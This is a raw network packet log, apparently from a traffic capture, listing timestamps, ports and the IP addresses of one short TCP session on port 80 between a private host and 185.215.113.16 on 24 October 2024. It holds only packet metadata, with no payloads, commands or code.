Oct 24, 2024 09:07:32.367851019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367881060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367893934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.367925882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.367963076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368006945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368027925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368060112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368092060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368123055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368163109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368182898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368182898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368225098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368252993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368284941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368309021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368340015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368365049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368396997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368460894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368484020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368515015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368547916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368566990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368601084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368618965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368650913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368680954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368715048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368746996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368772984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368801117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368854046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368854046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.368896008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368927956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368972063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.368993044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369029045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369056940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369086981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369112015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369144917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369177103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369200945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369232893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369265079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369297028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369322062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369358063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369388103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369411945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369442940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369468927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369508028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369517088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369529963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369554996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369575024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369600058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369632006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369663000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369687080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369719982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369740963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369772911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369805098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369837999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369865894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369894028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369930029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.369961977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.369982958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370012045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370038033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370069981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370096922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370124102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370167017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370167017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370194912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370223045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370255947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370290041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370315075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370348930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370381117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370405912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370438099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370471001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370493889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370523930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370551109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370585918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370615959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.370640039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370671988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370703936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370734930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.370757103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.371181011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.371181965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.378665924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.378704071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.378739119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.378772020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.378839016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408581018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408597946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408621073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408638000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408652067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408665895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408682108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408694983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408713102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408726931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408736944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408746004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408798933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408813953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408828974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408837080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408849955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408864975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408874989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408889055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408911943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.408982992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.408996105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409010887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409024954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409039021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409046888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409089088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409109116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409141064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409153938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409168005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409224987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409236908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409245968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409259081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409274101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409282923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409296989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409317017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409368992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409383059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409398079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409405947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409420013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409434080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409441948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409507990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409521103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409529924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409543991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409564018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409626007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409638882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409651995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409672022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409679890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.409693003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409706116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.409713984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.410087109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.450548887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.450563908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.450578928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.450592995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.450602055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.450747013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480487108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480504990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480510950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480526924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480550051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480592012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480607033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480622053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480637074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480657101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480698109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480750084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480767012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480771065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480782986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480797052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480806112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480818987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480845928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480868101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480895042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480911016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480925083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480937004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480951071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480958939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.480972052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480987072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.480994940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481005907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481017113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481054068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481065035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481079102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481098890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481105089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481118917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481141090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481161118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481174946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481188059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481201887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481209993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481224060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481245995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481312037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481324911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481339931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481349945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481363058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481384993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481440067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481455088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481470108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481482983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481492043 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481504917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481517076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481524944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481535912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481545925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481573105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481587887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481600046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481610060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481631041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481674910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481689930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481704950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481755972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481755972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481873035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481887102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481901884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481915951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481931925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481940985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481955051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.481961012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481976032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.481992960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482007980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482016087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482069969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482085943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482094049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482106924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482121944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482131958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482145071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482167006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482219934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482227087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482239962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482254982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482268095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482281923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482301950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482347965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482368946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482383013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482397079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482412100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482419968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482528925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482569933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482584000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482599020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482606888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482619047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482633114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482640982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482654095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482666969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482675076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482687950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482702017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482716084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482731104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482753992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482789040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482877970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482892036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482899904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482913971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482927084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482940912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482949018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482959986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.482969999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482984066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.482997894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483020067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.483114958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.483139992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483154058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483169079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483181953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483196020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483207941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483216047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.483230114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483241081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483248949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.483402967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.483444929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483458042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483472109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483484983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483499050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483510971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483524084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483537912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483551025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483565092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483578920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483592033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.483603954 CEST	80	49772	185.215.113.16	192.168.2.6
